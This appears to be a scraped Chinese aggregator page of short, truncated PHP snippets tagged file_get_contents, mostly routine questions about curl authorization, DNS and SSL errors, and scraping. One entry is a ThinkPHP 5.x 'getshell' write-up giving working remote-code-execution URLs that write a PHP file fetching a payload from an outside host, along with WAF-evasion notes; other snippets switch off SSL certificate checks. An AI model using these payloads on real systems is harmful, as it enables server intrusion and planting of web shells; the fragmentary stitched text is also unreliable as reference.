file_get_contents

curl 或 file_get_contents 获取需要授权页面的方法

百般思念 提交于 2019-12-05 07:54:59
今天因工作需要,需要用 curl / file_get_contents 获取需要授权 (Authorization) 的页面内容,解决后写了这篇文章分享给大家。 php curl 扩展,能够在服务器端发起 POST/GET 请求,访问页面,并能获取页面的返回数据。 例如要获取的页面: http://localhost/server.php [php] view plain copy <?php $content = isset( $_POST [ 'content' ])? $_POST [ 'content' ] : '' ; header( 'content-type:application/json' ); echo json_encode( array ( 'content' => $content )); ?> 使用curl获取server.php页面 [php] view plain copy <?php $url = 'http://localhost/server.php' ; $param = array ( 'content' => 'fdipzone blog' ); $ch = curl_init(); curl_setopt( $ch , CURLOPT_URL, $url ); curl_setopt( $ch , CURLOPT_POST, true

ThinkPHP5.x.x各版本实战环境getshell

旧城冷巷雨未停 提交于 2019-12-03 09:33:37
#这个文章我之前在t00ls已经分享过了 #内容只是对tp5的实战环境下getshell做的记录,中间遇到的一些小问题的突破,没啥技术含量 -5.1.18 http : //www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?> -5.0.5 waf 对 eval 进行了拦截 禁止了 assert 函数 对 eval 函数后面的括号进行了正则过滤 对 file_get_contents 函数后面的括号进行了正则过滤 http : //www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/

file_get_contents(): php_network_getaddresses: getaddrinfo failed

匿名 (未验证) 提交于 2019-12-03 08:41:19
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I'm trying to update some values from one server to another server with a cron job. I use file_get_contents(). The strange thing is that this fails occasionally. One minute it works, another minute it won't work. I receive these two errors: PHP Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known PHP Warning: file_get_contents(): failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known and: PHP Warning: file_get_contents(): php_network_getaddresses:

imagecreatefrompng error

匿名 (未验证) 提交于 2019-12-03 02:41:02
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: <?php function LoadPNG($imgname) { /* Attempt to open */ $im = @imagecreatefrompng($imgname); /* See if it failed */ if(!$im) { /* Create a blank image */ $im = imagecreatetruecolor(150, 30); $bgc = imagecolorallocate($im, 255, 255, 255); $tc = imagecolorallocate($im, 0, 0, 0); imagefilledrectangle($im, 0, 0, 150, 30, $bgc); /* Output an error message */ imagestring($im, 1, 5, 5, 'Error loading ' . $imgname, $tc); } return $im; } header('Content-Type: image/png'); $img = LoadPNG('http://www.prideofhome.com/wp-content/uploads/328145505image

file_get_contents(): Unable to locate certificate CN

匿名 (未验证) 提交于 2019-12-03 02:38:01
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: We are having two domains ( both https ): one as main domain https://dev.project.com/ and the other for images https://dev-images.project.com/ . The frontpage loads the images just fine, but I'm having this problem with file_get_contents . ErrorException in Collection.php line 228: file_get_contents(): Unable to locate certificate CN in Collection.php line 228 at HandleExceptions->handleError('2', 'file_get_contents(): Unable to locate certificate CN', '') at file_get_contents('https://dev-images.project.com/images/12012_resized.jpg') in

Caching Instagram API requests using PHP?

匿名 (未验证) 提交于 2019-12-03 02:29:01
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: Here's my current script that does the API calling: $client = "55447265ed444bb5b768ecb0765ba9cb"; $query = $_POST['q']; $clnum = mt_rand(1,3); $api = "https://api.instagram.com/v1/tags/".$query."/media/recent?client_id=".$client; function get_curl($url) { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($ch);

file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known

匿名 (未验证) 提交于 2019-12-03 02:11:02
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I'm trying to download an image from a server using a php script on my website on xampp server. The image is being downloaded using the function file_get_contents. The php code for downloading on the server is: if(isset($_GET['path']) && isset($_GET['username'])) { echo "path:".$_GET['path']; $temp = explode(".", $_GET['path']); $extension = end($temp); $fname="images/".$_GET['title']; $filenameIn = $_GET['path']; $filenameOut = "" . $fname; $contentOrFalseOnFailure = file_get_contents($filenameIn); $byteCountOrFalseOnFailure = file_put

file_get_contents(): SSL operation failed with code 1. And more

匿名 (未验证) 提交于 2019-12-03 02:09:01
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I’ve been trying to access this particular REST service from a PHP page I’ve created on our server. I narrowed the problem down to these two lines. So my PHP page looks like this: <?php $response = file_get_contents("https://maps.co.weber.ut.us/arcgis/rest/services/SDE_composite_locator/GeocodeServer/findAddressCandidates?Street=&SingleLine=3042+N+1050+W&outFields=*&outSR=102100&searchExtent=&f=json"); echo $response; ?> The page dies on line 2 with the following errors: Warning: file_get_contents(): SSL operation failed with code 1. OpenSSL

file_get_contents ignoring verify_peer=&gt;false?

匿名 (未验证) 提交于 2019-12-03 02:00:02
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: file_get_contents with https hosts works just fine, except for a particular host (test api server from some company - ip whitelisted, can't give you URL to test). This rules out not loaded https modules and other initial setup mistakes. I have tested with multiple PHP installations, all at v5.3.3, 32bits, Debian 32bits. The request works with cURL, but only if setting curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); . However, setting verify_peer"=>false on the context for file_get_contents seems to make no difference. With file_get_contents,

file_get_contents failed to open stream: HTTP request failed! HTTP/1.1 500 Internal &gt; Server Error in

匿名 (未验证) 提交于 2019-12-03 01:33:01
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 由 翻译 强力驱动 问题: I see many questions matching to my issue. But none of them is providing any workable solution. so instead of making complex functionality i need simple solution. Please I dont' want cURL. I've already done a lot with this code. I'm working on a scraping project and need to load the contents of product revisions from ebay. I am using PHP function file_get_contents (); Here is the URL i'm troubling with. https : //cgi.ebay.com/ws/eBayISAPI.dll?ViewItemRevisionDetails&item=272908801183 this file_get_contents(); is working perfectly